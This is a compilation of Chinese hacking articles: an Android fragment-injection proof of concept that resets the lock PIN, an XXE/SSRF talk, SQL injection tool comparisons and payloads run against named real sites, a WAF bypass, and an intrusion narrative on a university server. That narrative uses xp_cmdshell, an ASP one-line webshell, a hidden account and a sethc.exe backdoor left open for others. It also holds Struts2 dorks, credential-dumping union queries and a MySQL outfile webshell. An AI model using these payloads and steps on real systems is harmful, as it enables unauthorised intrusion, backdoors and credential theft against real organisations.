Android框架攻击之Fragment注入

为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的。关于Fragment的使用说明,可以阅读《Android
Fragment完全解析,关于碎片你所需知道的一切》。其中,Fragment有一个很强大的功能,就是可以动态加载。这样可以让整个界面的开发更加灵活,可以根据不同的场景动态加加载不同的Activity。
回到今天的主题——利用Fragment实现注入攻击。从3.X后,android工程师重构PreferenceActivity的实现,采用Fragment实现界面的加载。通过阅读源码可以发现,PreferenceActivity的onCreate里,需要读取Intent的多个extra内容,常量都定义在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有两个常量分别是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,这两个参数可以决定当前的PreferenceActivity首次显示的Fragment。过程比较简单,就是先拿到fragment_class和fragment_args,然后通过反射生成一个Fragment实例,并动态加载。关键源码如下所示:

[java] view plaincopy
mSinglePane = hidingHeaders || !onIsMultiPane();
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

先获取initalFragment和initialArguments两个参数,之后在switchToHeaderInner里完成实例化:
[java] view plaincopy
private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
Fragment f = Fragment.instantiate(this, fragmentName, args);
FragmentTransaction transaction = getFragmentManager().beginTransaction();
transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
transaction.replace(com.android.internal.R.id.prefs, f);
transaction.commitAllowingStateLoss();
}

到此为止,我们可以通过设置Intent的extral,实现动态修改PreferenceActivity的初次显示的Fragment。
我们知道,在Android系统里,App与App是互相隔离的,互相之间不能访问对方的私有数据。App与App之间(更准确地说应该是组件与组件之间)的通讯,统一使用Intent。通过Intent可以很方便的唤起其他App的Activity,达到功能重用的目的。比如平时使用ZAKER,你需要在微信圈里分享,通过这种方式就可以直接跳到微信的分享界面了。但使用这种方式的前提是目标Activity是exported的。
结合上面的两个关键点,我们是否可以寻找一个exported的PreferenceActivity的子类,并通过精心设置Intent的extral的值,以实现打开那些没有exported的界面呢?如果这些界面涉及安全方面信息的话,又会怎样呢?
Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。我们以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:
[java] view plaincopy
Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
null, null);
}
} else {
mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
final String state = savedInstanceState.getString(KEY_UI_STAGE);
if (state != null) {
mUiStage = Stage.valueOf(state);
updateStage(mUiStage);
}
}

如果传入的参数当中,key为”confirm_credentials”为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:
[java] view plaincopy
Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);
intent.putExtra(“:android:show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);
intent.putExtra(“confirm_credentials”, false);

startActivity(intent);

正常的密码修改流程是”设置”->”安全”->”屏幕锁定”->”确认你的PIN”,如所下图所示:

如果运行DEMO,则直接进入如下界面:

这样你直接输入密码,就可以把原来的密码覆盖掉了。
这个BUG存在于3.X到4.3中的所有版本,4.4已经fix了。4.4强制所有PreferenceActivity必须要实现isValidFragment方法,详细见这里

个人总结:
应该说,这种修复方式,只是起到一个提醒的作用,最终的安全还是交由开发者承担。另外,目前很多应用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子类都补充加上isValidFragment方法就可以了。但对于4.4之前的版,如果存在这种权限泄露的问题,还是需要单独处理的。下面给出兼容2.X~4.4修复的代码示例:
[java] view plaincopy
public final class MyPreferenceActivity extends PreferenceActivity {

private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
//TODO 做合法性检查

return true;
}

//添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行
protected boolean isValidFragment(String fragmentName) {
return doValidcheck(fragmentName);
}

@Override
protected void onCreate(Bundle savedInstanceState) {
//在onCreate前就做合法性判断
String fragmentname = getIntent().getStringExtra(“:android:show_fragment”);
doValidcheck(fragmentname);

super.onCreate(savedInstanceState);
}
}

原文连接: http://blog.csdn.net/l173864930/article/details/17279165

XML上的安全不容忽视

在本文中,讲解了XML上一些攻击方式:

(1). XML拒绝服务攻击 -- 通过递归包含自己xml的某一项来实现

(2).XML注入攻击 -- 用户可控部分插入xml注释字符,实现用户不可控变量的控制.

(3). XML外部实体注入攻击 -- XXE(XML_External_Entity),

通过XXE完成非法文件的读取

通过XXE完成SSRF(Server Side Request Forgery)

 

原文链接:http://sec.chinabyte.com/296/12697796.shtml

2013年8月21号第二届KCon Web安全会议在北京金台饭店举行。KCon Web安全大会是一个交流前沿、边缘、主流的Web安全技术、技巧、案例的开放安全会议,在第一届KCon Web安全大会上天融信阿尔法实验室研究人员就做了关于浏览器上的安全议题演讲《浏览器魔术》。本届大会有各个行业安全圈人士500人到场参加,远远超于预期的300人规模。大会上天融信阿尔法实验室张晨做了《Having Fun with XML Hacking》议题演讲,内容非常精彩。本文把演讲的内容稍加整理,与大家分享。

XML的全称是eXtensible Markup Language,意思是可扩展的标记语言,它是标准通用标记语言(Standard Generalized Markup Language,SGML)的一个子集。

在80年代早期,IBM提出在各文档之间共享一些相似的属性,例如字体大小和版面。IBM设计了一种文档系统,通过在文档中添加标记,来标识文档中的各种元素,IBM把这种标识语言称作通用标记语言(Standard Generalized Markup Language,SGML),即GML。经过若干年的发展,1984年国际标准化阻止(ISO)开始对此提案进行讨论,并于1986年正式发布了为生成标准化文档而定义的标记语言标准(ISO 8879),称为新的语言SGML,即标准通用标记语言。

一个简单的XML文件示例,一个XML文件由XML声明、文档类型定义和文档元素组成。

  那么什么是文档类型定义呢?文档类型定义,也叫DTD(Document Type Definition),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD文档的声明及引用

内部DTD文档

      <!DOCTYPE 根元素  [定义内容]>

外部DTD文档

      <!DOCTYPE 根元素  SYSTEM “DTD文件路径“>

内外部DTD文档结合           

      <!DOCTYPE 根元素  SYSTEM “DTD文件路径” [

             定义内容

-]>

XML被设计用来存储和传输数据,任何平台上的程序都可以通过使用XML解析器来处理XML数据,XML的使用范围非常广泛,不仅仅是web应用,还包括数据库软件、浏览器等等。既然XML的覆盖面这么广,那么如果出现安全问题也是相当可怕的。而且很多软件都是使用的同一款XML解析库,如果这套解析库存在漏洞,那么无疑又将影响的范围扩大了。

 

下面这张图很清晰的描述了程序在处理XML时容易出现问题的点,我们逐步来看:应用先将原始数据交给XML生成器,生成XML数据,然后将生成后的XML数据提交到web服务器,web服务器接收到XML数据后,将XML数据交给XML解析器,由XML解析器完成对XML数据的解析后把数据再返回给应用。在整个数据处理流程中,XML生成器和XML解析器这两个点是最容易出现问题的。

  在XML解析的过程中,最常见的有三种漏洞:

拒绝服务漏洞

XML注入

XML外部实体注入

XML拒绝服务漏洞

我们逐个分析,先来看拒绝服务攻击。

下图是一个典型拒绝服务攻击的payload:

  可以看到,payload中先定义了lol实体,值为“lol”字符串,然后下面又定义了lol2实体,在lol2实体中,引用10个lol实体,也就是说现在lol2的值是10个“lol”字符串,下面的lol3又引用了10个lol2实体的值,现在lol3的值是100个“lol”字符串,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个“lol”字符串,如果程序在解析数据时没有做特别的处理,那么极有可能对程序造成拒绝服务攻击。

 XML注入漏洞

再来看XML注入的例子:

  例图这是一个标准的xml文件,即将被提交到web服务器中,我们假设这是一个存有订单信息的xml文件,其中price的值不可控,quantity和address项的值可控,可以由用户自由输入,那么这时,攻击者可以实施xml注入攻击,在quantity的值中构造“<!–”,注释符,然后在address的值中先闭合前面的注释符,然后再重新根据原xml文件结构重新构造xml文件,这时候price元素的值也是可以由攻击者随意构造的,如下图:

可以看到,我们重新构造出了一个xml文件,这时候price的值由原来的25变成了0.01,也就是说,订单的价格被成功的修改了。

XML外部实体注入
在众多xml漏洞中,最容易出现的就是XXE(XML_External_Entity),也就是XML外部实体注入攻击。在文档类定定义部分,可以引用外部的dtd文件,dtd文件的路径可以是URL地址,也可以使用多种协议,所以在这里会出现安全问题。

上图为一个标准的XXE Payload,可以看到,这里引用的外部实体为file:///etc/passwd,如果XML解析库在解析到这里时允许引用外部实体,那么程序将会请求这个地址,并将内容返回。

    对于XXE漏洞,我们还有更多的利用技巧,比如某些场景下,我们需要在一次请求中读取多个文件,那么可以用下面的payload来实现:

XXE不光可以读取文件,还可以通过SSRF来完成更深入的攻击。SSRF(Server Side Request Forgery)被称为服务端请求伪造攻击,与CSRF不同的是它的请求是由服务器发起的,并不是由客户端发起。

             

通过这张图我们可以看到,攻击者先发送包含payload的请求到前端,前端接到数据后将xml数据发送到后端的xml解析器进行解析,这时payload被执行,payload执行后,结果可能会直接被后端返回给攻击者,也可能由payload中所指向的服务器返回给攻击者。

     更常见的攻击场景如下:

攻击者想要访问主机B上的服务,但是由于存在防火墙的原因无法直接访问,这是可以借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而完成攻击。
SSRF攻击常用的payload如下:

Portscan实体是通过http协议来访问主机的某些端口,通过返回信息来判断端口是否开放。Smb实体是访问内网中的共享资源,Sqli实体是对内网中web服务器发起sql注入攻击,Syslog实体可以像内网syslog服务器添加垃圾日志。

除了这些,还可以扩展思路,比如对内网中的zabbix_agent进行攻击(在外部实体引用 gopher://ip:10050/1system.run[ls]),即可在该主机执行系统命令。

在PHP环境下,还可以利用封装协议来直接执行系统命令,如expect://。也可以用php://来读取文件内容。
<!ENTITY readfile SYSTEM ‘php://filter/convert.base64-encode/resource=web.xml’>
除了这些,还支持其他很多协议,可以自由发挥编写payload。

随着应用越来越庞大、逻辑越来越复杂,有些需求要用到XML来实现,但很多开发人员还没有充分意识到在使用和解析XML文件时可能会导致安全问题出现,XML漏洞也是一个比较好的研究方向。

天融信阿尔法实验室作为北京天融信前沿安全研究部门,在安全漏洞研究发掘、最新Web安全及浏览器安全问题研究、软件逆向研究等诸多领域积累了大量的成果,获得了国际CVE漏洞编号、中国国家漏洞库漏洞编号的各类型原创漏洞证书。在所发现的不同类型的安全漏洞中,不乏大量的国产软件,阿尔法实验室都在第一时间通知了软件厂商,并提供修补建议,为保障国产软件的安全性做出了贡献。同时作为国家不同部委类型单位的技术服务支撑成员,天融信阿尔法实验室为国家相关部门提供了不同类型技术支持,在安全漏洞研究、安全趋势研究判断、恶意非法软件分析以及移动设备安全等技术领域做出了突出的贡献。

SQL注入傻瓜工具大比拼

前言
随着ASP的日趋成熟,各种检测工具也逐渐流行了起来。如今,几乎每一个学习黑客的网迷手里都有一款或几款得心应手的注入工具。但我通过QQ群了解到,有相当一大部分人认为这些工具的注入手法是相同或相近的。其实这种说法只说对了一部分,在提交“and 1=1”、“and 1=2”进行漏洞判断时,这些软件所使用的方式的确是一样的,但接下来在猜解表名、猜解列名、猜解记录上,各软件所用的方式方法却不尽相同。
为了使菜鸟们能够更清楚的了解各软件的注入强点和注入弱点,以便物尽其用。本人特摘取啊D、NBSI、HDSI、WED、冰舞、CSC和Domain七种网络上常见的注入工具进行逐一分析,并列出部分注入语句以便读者更好的进行对比和学习,并附带了解一下作者的思路。
希望读者在看过此文后能对各注入软件有一个系统的了解,也希望编程人员能编出更好的注入软件来。
测试
本次测试是从网上随机选出的一些站点,分别用七种工具进行注入并统计结果。原准备要检测100个网站的,可是在检测到第四个网址时就发现了差距,因此也就没有检测太多的必要了。在此检测的七个站点仍是从这100个网址中随机挑选的,根据统计学的概率和正向分布原理,本测验也是有说服力的。
在Google中利用关键词查询:“大学 asp?id=43”,取得如下URL:
http://www.daofeng.net/articledisp.asp?ID=43
http://english.sdut.edu.cn/show_news2.asp?id=43
http://yzg.stu.edu.cn/tzgz/list.asp?id=43
http://www.merica.com.tw/win-asp/maintain/ShowSchool.asp?id=43
在Google中利用关键词查询:“下载 asp?id=43”,取得如下URL:
http://www.xinw.cn/show.asp?id=43
在Google中利用关键词查询:“新闻 asp?id=43”,取得如下URL:http://www.ectcom.com/ebusiness/Read.asp?ID=43
在Google中利用关键词查询:“政府 asp?id=43”,取得如下URL:
http://www.netdtzgl.gov.cn/rules/viewrules.asp?id=43
数据代表:
检测不出漏洞 n
猜解表名 a+数目,*无法猜解,+不准确,/无用数据
猜解列名 b+数目,*无法猜解,+不准确,/无用数据
猜解记录 c+数目,*无法猜解,+不准确,/无用数据
检测结果:
NBSI HDSI 啊D Domain 冰舞 CSC WED 数据
1 a3b4c1 a4b4c2 *** a1++ a1+* *** *** sql,错误关
2 n n a2b3c1 a2b3c1 n /** /** acc
3 a2b3c1 a2++ a2b3c1 a2b3c1 *** a1b1c1 a1b2c1 acc
4 a2b3c2 a2b3c2 a2b3* a2b3* n a1** a1// acc
5 a1b3c2 a1b2/ a1b3* a1b3* a1b2* a1** a1b1/ acc
6 a2b3c5 a2b3c6 a3b3c5 a1** *** a1** a1b1/ acc
7 全部 全部 *** *** *** *** a1b2* sql,错误开
速度 B A A A A A A
综合认定 A B A B D C B
现在,哪一款工具性能更优越,你该很清楚了吧?下面我们就来具体分析一下每一个软件。
测试与评比
1.啊D
啊D是一款很不错的绿色软件,体积还不到300kb,对于我们在网吧奋战的一族来说真是够体贴了!利用啊D可以得到大部分有注入漏洞的管理员用户名和密码,速度也相当快,结果也很准确。当软件运行一次后,直接修改注入地址就可以进行下一次注入,这是WED,CSC,NBSI,Domain所不能的。功能也比较简单,就是暴密码,找后台,然后通过后台上传WebShell,再进一步提权。但啊D也有很多不足之处:
1)对某些明明有漏洞的站点检测不出,提示无漏洞,此时也只能改用其它软件了,我个人经验认为此时用NBSI比较好,如果连NBSI都检测不出的话,就只能放弃这个注入点了。
2)对MSSQL数据库错误提示开启时依旧采用了字典穷举的方式,而没有像其它软件采取暴字段的方式,因此速度会很慢而且支持也不是很好,这时要是遇见“***_admin”这类字典里没有表名就有些力不从心了。只会出现几个默认的表。

3)偶尔在穷举密码时会出现“检测长度已超过50……”这样的错误。
实际上并没有,如果换成WED或NBSI的话便可以轻易拿到密码。一般时如果啊D在通用的表下注入成功,那么WED也可以,不过啊D是GUI界面的,一切可控而且由于它提交的是Ascii代码,因此可以暴出中文密码来,这是只通过数字+字母+符号穷举的WEB所不能的。
4)还有一个不足之处就是当我们已经暴到想要的表(如admin),想要进一步暴列,或是暴了列想进一步暴密码时,会发现上一进程并没有停止,我们也没有任何方式让它停下。这些已经不需要的进程很影响破解的速度,使我们无法体验它飞快的感觉。

2。NBSI

NBSI是款老牌注入工具,似乎我们不应该再挑挑拣拣了。它在对MSSQL数据库的注入上已经趋近完美,但我最近却也发现了一个NBSI不能注入,啊D,WEB等也无能为力,但HDSI却可以注入的网址。它在un.org的新闻页面上,有兴趣的朋友可以去看看。
NBSI的其它功能也不错,譬如站点列表功能,虽然我只成功用过一次,但正是那次使我拿下了那个站点。还有命令行工具、后台猜解,提起它们的原因是当我们转向这些页面时,填入的网址并没有跟着跳转,这是个很令人头疼的问题,相信也是很多人弃NBSI去用其它工具的原因。
另外NBSI有时会出现“int13变量错误”或“页面转向,是否重试”的提示。
当后者出现时还可以直接按确定不管它,但若是前者,只能乖乖把程序重启一遍了。另外暴不出数据也是个难题,如图4所示。
而且NBSI的体积也太大了些,差不多要和啊D、CSC、WED、HDSI、Domain加起来一样大了,在网吧没有2分钟是绝对下不下来的!
3.HDSI
HDSI功能要比NBSI多得多,即使在注入方面也毫不逊色,这一点我们在上面的测试中就可以看出了,而且它的速度是很快的,几乎是NBSI的一倍。除此之外它在注入消息的细节的显示上也比NBSI更丰富。
因此也有人宣称它可以取代NBSI,但真是如此么?
发现了什么吗?列有一个为“name”,列有两个为“id”、“pass”,其实图8只是对同一网址再次检测的结果。如果用NBSI的话,则三个列名均能显示出来。而“name”与“pass”不能同时暴出,这样的数据对我们又有什么用呢?我相信这不是一个偶然。通过此图和上面的测试列表,我想告诉大家的一个事实是:所暴数据的多少不仅仅是字典的问题,这也是我为什么把所暴数据的个数也列出来的原因。
但正如我说的,工具性能有长有短。虽然HDSI除了速度外并不比其它工具更出色,但那个联合国的新闻页不是也只有它才能暴出么?同一个工具在不同的站点的表现是不同的,不同的工具在同一站点的表现也是不同的!这跟我们看人一样。

4。WED
对小榕的这个工具真没有什么好说的,又快又小,建议人手一个。虽然要在CMD下运行,但在浩做成了GUI页面的启动后,便显得更加完美了。只是在复制密码时不是很方便,若是32位的……另外WED并不支持对中文密码的猜解,这点在程序运行时就看得到,它穷举的并不是Ascii代码。
WED的一个小小的BUG是在有时破解结束时,显示的并不是完整的密码,而是形如a*min这种情况,这时把数据先记下来,然后重新注入一次。一般会得到正确的密码或形如adm*n等,而此时你根据记录的a*min就应该推测出密码为admin。
WES没有HDSI和NBSI那么多功能,只能得到管理员用户和密码,但你对于这个全自动注入、体积超小、速度极快的工具又有什么奢求呢?

5.冰舞

不知道为什么,当我第一次操作这款工具注入时就感觉很累。输入了网址后首先不管三七二十一就要你输入关键词。这意味着我们要打开两个窗口分别在网址结尾加上“and 1=1”和“and 1=2”,然后耐心地等待页面显示出来,再一点一点地比较,然后在“and 1=1”页面复制“and 1=2”页面没有的字符,在切换窗口粘贴……我想现在读者也该累了,呵呵。而你会得到多少有用信息呢?看看上面的测试表吧!而且它的错误也是我第一次见到。
输入一个有注入漏洞的网址和关键词进行检测,提示不存在漏洞,我们再一次点击检测按钮,却又提示存在漏洞。在第四次点击时,跳出图中窗口,点击确定后程序自动关闭……
对于喜欢用冰舞的黑友们,我只能送一句话给你们:“其实世界可以变得更美好……”。

6.CSC

这个工具的功能与WED、WIS一样,暴密码找后台。我没有找到这个工具的什么优点,它有的别的软件都有,而别的软件有的它却没有。有时有的网站明明有漏洞它却检测不出。而且由于是挂着字典破解,速度也不快,注入一次,就要把那个设置页面统统重设一遍,即使你仅仅想找后台。
我用WED跟它做过比较,它不仅速度没有WED快,对有些页面检测不出,有时甚至暴不出密码来……唯一值得说的是它应该是国内公布出来的免费的第一款脚本注入检测工具,臭要饭的当初写的时候很早,那时候脚本注入都停留在手工上面,也算是小小的里程碑了。

7.Domain

在这里抓个图给大家看,至于评点,呵呵……它和啊D很像,你们看我对啊D的评点吧!另外通过那张测试表,你们也应该能对比出点什么。

总结
其实注入也是门学问,即使我们用工具也会长不少见识。
看出什么了么?对了!它的name字段并不是有用的数据,有用的数据在应该为表示序列的uid中。这次检测WED和CSC就是因为暴的是name字段,所以最终以失败而告终。而用啊D等工具的朋友是不是也会在没有去暴uid时面对那奇怪的name而发楞呢?是啊!人的思想是奇妙的,希望读者能从本文中读到文章中没有的东西,呵呵。
最后把NBSI和HDSI对于确定服务器信息的几行重要的提交代码在这里公布一下,希望软件编程人员能从中总结点什么:
HDSI
/rules/viewrules.asp?id=43;create%20table%20t_jiaozhu(jiaozhu%20varchar(200))
/rules/viewrules.asp?id=43%20and(char(94)%2Bdb_name()%2Bchar(94))>0
/rules/viewrules.asp?id=43;declare%20@a%20int–
/rules/viewrules.asp?id=43%20And%20Cast(IS_SRVROLEMEMBER(‘sysadmin’)%20as%20varchar(1))=1
/rules/viewrules.asp?id=43%20And%20char(94)%2Buser%2Bchar(94)=0
/rules/viewrules.asp?id=43%20And%20char(94)%2Bdb_name()%2Bchar(94)=0

NBSI
/rules/viewrules.asp?id=43
/rules/viewrules.asp?id=43%20and%20user%2Bchar(124)=0
/rules/viewrules.asp?id=43;declare%20@a%20int–
/rules/viewrules.asp?id=43%20and%20(Select%20count(1)%20from%20[sysobjects])>=0
/rules/viewrules.asp?id=43%20And%20user%2Bchar(124)=0
/rules/viewrules.asp?id=43%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1
/rules/viewrules.asp?id=43%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1
/rules/viewrules.asp?id=43%20And%20db_name()%2Bchar(124)=0

好了,文章写完了,希望能为广大新手朋友带来一些帮助

 

 

 

有效绕过安全狗注入

一网站,入侵放了点东西,一周后发现东西不能看到了。再次尝试注入,居然用了安全狗!

有效绕过方法如下:

http://bkzs.xxx.edu.cn/Admissions_xxx/Administered/info.asp?Id=877   原网址

如果直接

http://bkzs.xxx.edu.cn/Admissions_xxx/Administered/info.asp?Id=877  and 1=1 就会被安全狗拦截:


您的请求带有不合法的参数,谢谢合作!
来自安全狗互联网安全实验室-网站安全狗软件的友好提示,了解更多请点击 www.safedog.cn

 

在注入参数“Id”的加上一个额外的参数赋值: haotuan.com=%00.  再次尝试注入,安全狗就发现不了了。

http://bkzs.xxx.edu.cn/Admissions_xxx/Administered/info.asp?haotuan.com=%00.&Id=877 and 1=1

ok

直接把http://bkzs.xxx.edu.cn/Admissions_xxx/Administered/info.asp?haotuan.com=%00.&Id=877 丢工具猜解即可。

我的db_owner,又回来了。

一次Sa权限入侵

唉,晚上2点了,我的课程设计报告还没写完。还有那烦人的CAD,不过这次课设,算了几个轴几个零件后,我才体会到神六神七的伟大。那玩意真不容易。整天被那几个轴,轴承,齿轮,减速器,联轴器等等烦的。不说这些了,说正题,这个网站是上次论坛一位朋友发的。我只是简单的拿了个shell给他。晚上歇会,接着上次那shell继续干。简单说下拿shell的过程。
注射点http://yjsb.ysu.edu.cn/news/view2.asp?type=news&id=2269   sa权限
啊D列出网站的根目录 D:\研究生学院网站\WebSites\
一开始网站的xpcmdshell是关闭的,恢复xpcmdshell:
‘show%20advanced%20options’,%201;RECONFIGURE;EXEC%20sp_configure%20’xp_cmdshell’,%201;RECONFIGURE;–

执行ipconfig命令测试下xpcmdshell,
master.dbo.xp_cmdshell ‘ipconfig > D:\研究生学院网站\WebSites\3.txt’–
查看http://yjsb.ysu.edu.cn/3.txt即可。
简单echo一句话进去,
master.dbo.xp_cmdshell ‘echo ^<%25execute(request(“cmd”))%25^> > D:\研究生学院网站\WebSites\12.asp’–

shell拿到了,查了下3389是关着的,sa权限开3389还是很容易的,
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–

现在能连上了,继续用xpcmdshell加个账户进去,
master.dbo.xp_cmdshell ‘net user hacker 123456 /add’–

语句成功执行,页面返回正常。但这时出了问题了。在shell里查看账户时,依然没加上。郁闷了一会,也有可能是xpcmdshell的权限不够,Mssql在以users用户组启动时,sa权限也只能是user权限。后来在盘里翻,找到了SU,提了下权失败,估计是改了密码,本地配置了个c盘用户的账号,将配置信息传上去覆盖原来的,登陆ftp,加账户时失败,如图:
Click Here To EnLarge
不过,此时已经拿下服务器一大半权限了,c盘可以浏览了。不甘心,继续,看到了pcAnywhere,下载了个cif文件,破解出账号和密码,本地特地安装了个pcAnywhere,连接时又失败,服务端没开启。忘了说下,在这之前用巴西烤肉加了一回,也是失败的。淡定,继续,既然3389开了,总不能下载gho文件或者sam文件跑密码吧,这样我宁愿放弃。连上3389,习惯性的按了5下shift,出现了粘滞键,有想法了,我有了c盘的权限,传个cmd上去代替sethc.exe,不就ok了么, 一切很顺利,出现了cmd窗口,加账户时,才豁然开朗,管理员耍的是什么鬼把戏,
Click Here To EnLarge
密码策略限制, 后来用xpcmdshell和SP_OAcreate加账户,密码设置的复杂点,一加一个准。
Click Here To EnLarge

就到这了,这台服务器我的shift后门没删。你若能找到远程端口,就能上服务器玩了。服务器上没什么,用来抓个鸡还行。就别搞破坏了。

就当是论坛开业,送个服务器给大家玩吧。

改远程端口用这句;
master.dbo.xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 3388 /f’–
等服务器重启下就行。

转载自:http://bbs.virusest.com/read.php?tid=7&page=e&newreply=1&#a

 

 

某政府政务管理系统通用Struts2漏洞

谷歌关键字:inurl:common/common_info.action?wid=
Inurl:index.action
Inurl:商城.achtion (商城比较多)
Inurl:index.achtion 标题:apache struts2
Inurl:action?id=
没有NB的关键字 只有爱想的脑袋
关键字不唯一可能你多想想就能想出更牛的关键字
就开始利用吧


Struts2这个漏洞很多大站都存在 比如这个香港电视台的
不过这个执行命令卡 我就换个搞过的吧 那样方便演示


一小站 http://www.laipin.com/这个漏洞一般都是阿帕奇 linux的
所以我们直接读阿帕奇的配置文件我们可以直接用find 命令

这样就会出现 那我们随便读个看看


/home/httpd

读了后发现这2都是错误的也就是都错误的
不过我们有强大的 find的命令
找这个找了一会   不过突然想到了 robots.txt
于是我

然后利用cat 一个一个去读 不过运气好
/usr/local/bakresin4/webapps/laipin/robots.txt
/usr/local/webapps/laipin/robots.txt
/usr/local/resin4/webapps/laipin/robots.txt
/usr/local/resin3/webapps/laipin/robots.txt
/usr/local/bak-resin4-bak/webapps/laipin/robots.txt
/var/laipin/robots.txt
/home/ftpfile/laipin/robots.txt
/home/ftpfile/lp/robots.txt
/home/httpd/laipin/robots.txt
/home/httpd/laipin2/robots.txt
第2个就是正确的  不过我全部读完了 确定就一个和网站的文件是匹配的
既然找到了根目录
就想 写文件呀
我用了
Echo bingdao test > /usr/local/webapps/laipin/1.txt (不成功)
Vi /usr/local/webapps/laipin/1.txt   (不成功)
Touch /usr/local/webapps/laipin/1.txt   (成功 但无法写入内容)
Mkdir /usr/local/webapps/laipin/123/  (成功 但无内容)
我后来仔细的想了想 也证实了 是由于cd命令执行不成功
但不明确是 不成功 还是无效果(好吧 没什么区别)
不过突然记起来了 wooyun一牛提交过某个远程代码执行漏洞
看了一下他的细节 发现是用的 wget 下载命令进行添加文件


下载成功后 发现不在根目录
于是 mv 移动到根目录


成功 不过发现了一件蛋疼的事  不解析

useradd -u 0  -o  -g root  -G root -d /home/bingdao bingdao -p bingdao
用户也能添加成功
目测工具的危害性,而且目前国内好多银行网站及涉密的网站,彩票平台都存在漏洞
这篇文章也就到这了
全文没什么亮点 只是一种利用记录。。
这东西 有时运气好 渗透时就能秒杀… 平常也可以练下linux命令什么的还是不错

飞飞视频网站注入漏洞[1day 漏洞]

漏洞详情

披露状态:

2012-07-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-07-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

注入漏洞

详细说明:


http://127.0.0.1/?s=vod-read-id-1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,

concat(0x40,admin_id,0x40,admin_name,0x40,admin_pwd,0x40),28,29%20from%20pp_admin–.html
然后爆出账号密码,后台要自己猜。

修复方案:

对其进行过滤处理

版权声明:转载请注明来源 路人甲@乌云

叫他1day漏洞,因为真的过了1 day…. 路人甲大牛,膜拜一次

http://www.dlbyy.com/?s=vod-read-id-1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,

25,26,concat(0x40,admin_id,0x40,admin_name,0x40,admin_pwd,0x40),28,29%20from%20pp_admin--.html

爆出管理用户密码:

php/mysql load_file/outfile与多语句注入入侵总结

1.outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。

唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

2.load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

3..load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。

4.load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

5.load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

6.outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

或者从表中

select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

7.关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。

有的注入可以,主要看php中是否设定:$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, 0);   属性

MySQL导出一句话拿WebShell的办法

